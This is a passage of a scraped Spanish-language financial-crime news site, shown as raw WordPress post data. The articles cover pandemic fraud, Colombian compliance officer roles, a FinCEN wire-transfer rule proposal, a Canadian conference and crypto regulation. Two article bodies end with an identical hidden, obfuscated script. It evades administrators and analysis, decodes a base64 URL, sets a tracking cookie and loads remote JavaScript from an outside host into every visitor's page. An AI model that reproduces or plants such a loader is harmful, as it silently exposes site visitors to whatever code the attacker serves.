significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>M\u00e1s de 2.000 profesionales se registraron para el evento de tres d\u00edas, que estuvo repleto de capacitaci\u00f3n precisa y relevante, <em>networking<\/em>, juegos, obsequios y mucho m\u00e1s.<\/p>\n\n\n\n<p>La conferencia cubri\u00f3 temas de todo el amplio arco de los delitos financieros y cumplimiento tanto en el sector p\u00fablico como en el privado, incluidos puntos regulatorios clave, tendencias de aplicaci\u00f3n, criptograf\u00eda, marihuana, an\u00e1lisis de datos, trata de personas. La cumbre incluy\u00f3 un d\u00eda completo dedicado a las habilidades laborales y t\u00e1cticas para irrumpir en el campo y progresar profesionalmente.<\/p>\n\n\n\n<p>El jueves, el \u00faltimo d\u00eda de la conferencia, oficiales de cumplimiento, investigadores y funcionarios del gobierno abordaron el tema de c\u00f3mo ingresar, sobrevivir y prosperar en el campo del cumplimiento y qu\u00e9 habilidades ayudar\u00edan a los profesionales a ser buscados por las instituciones y reclutadores profesionales,  ahora y en el futuro.<\/p>\n\n\n\n<p>Los oradores ofrecieron informaci\u00f3n y consejos sobre una serie de caminos para tener \u00e9xito en el campo de delitos financieros, ALD\/CFT y \u00e1reas relacionadas, incluyendo:<\/p>\n\n\n\n<p><strong>Acertijos convergentes<\/strong><\/p>\n\n\n\n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de 